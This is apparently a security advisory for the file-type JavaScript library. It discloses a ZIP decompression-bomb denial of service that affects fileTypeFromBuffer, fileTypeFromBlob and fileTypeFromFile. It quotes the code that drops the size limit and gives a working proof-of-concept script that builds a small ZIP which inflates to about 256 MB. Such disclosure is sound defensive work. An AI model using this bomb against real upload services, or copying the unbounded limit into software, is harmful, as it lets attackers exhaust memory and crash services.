file-type: ZIP Decompression Bomb DoS via [Content_Types].xml entry

Summary

A crafted ZIP file can trigger excessive memory growth during type detection in file-type when using fileTypeFromBuffer(), fileTypeFromBlob(), or fileTypeFromFile().

In affected versions, the ZIP inflate output limit is enforced for stream-based detection, but not for known-size inputs. As a result, a small compressed ZIP can cause file-type to inflate and process a much larger payload while probing ZIP-based formats such as OOXML. In testing on file-type 21.3.1, a ZIP of about 255 KB caused about 257 MB of RSS growth during fileTypeFromBuffer().

This is an availability issue. Applications that use these APIs on untrusted uploads can be forced to consume large amounts of memory and may become slow or crash.

Root Cause

The ZIP detection logic applied different limits depending on whether the tokenizer had a known file size.

For stream inputs, ZIP probing was bounded by maximumZipEntrySizeInBytes (1 MiB). For known-size inputs such as buffers, blobs, and files, the code instead used Number.MAX_SAFE_INTEGER in two relevant places:

const maximumContentTypesEntrySize = hasUnknownFileSize(tokenizer)
	? maximumZipEntrySizeInBytes
	: Number.MAX_SAFE_INTEGER;

and:

const maximumLength = hasUnknownFileSize(this.tokenizer)
	? maximumZipEntrySizeInBytes
	: Number.MAX_SAFE_INTEGER;

Together, these checks allowed a crafted ZIP to bypass the intended inflate limit for known-size APIs and force large decompression during detection of entries such as [Content_Types].xml.

Proof of Concept

import {fileTypeFromBuffer} from 'file-type';
import archiver from 'archiver';
import {Writable} from 'node:stream';

async function createZipBomb(sizeInMegabytes) {
	return new Promise((resolve, reject) => {
		const chunks = [];
		const writable = new Writable({
			write(chunk, encoding, callback) {
				chunks.push(chunk);
				callback();
			},
		});

		const archive = archiver('zip', {zlib: {level: 9}});
		archive.pipe(writable);
		writable.on('finish', () => {
			resolve(Buffer.concat(chunks));
		});
		archive.on('error', reject);

		const xmlPrefix = '<?xml version="1.0"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">';
		const padding = Buffer.alloc(sizeInMegabytes * 1024 * 1024 - xmlPrefix.length, 0x20);
		archive.append(Buffer.concat([Buffer.from(xmlPrefix), padding]), {name: '[Content_Types].xml'});
		archive.finalize();
	});
}

const zip = await createZipBomb(256);
console.log('ZIP size (KB):', (zip.length / 1024).toFixed(0));

const before = process.memoryUsage().rss;
await fileTypeFromBuffer(zip);
const after = process.memoryUsage().rss;

console.log('RSS growth (MB):', ((after - before) / 1024 / 1024).toFixed(0));

Observed on file-type 21.3.1:

• ZIP size: about 255 KB

• RSS growth during detection: about 257 MB

Affected APIs

Affected:

• fileTypeFromBuffer()

• fileTypeFromBlob()

• fileTypeFromFile()

Not affected:

• fileTypeFromStream(), which already enforced the ZIP inflate limit for unknown-size inputs

Impact

Applications that inspect untrusted uploads with fileTypeFromBuffer(), fileTypeFromBlob(), or fileTypeFromFile() can be forced to consume excessive memory during ZIP-based type detection. This can degrade service or lead to process termination in memory-constrained environments.

Cause

The issue was introduced in 399b0f1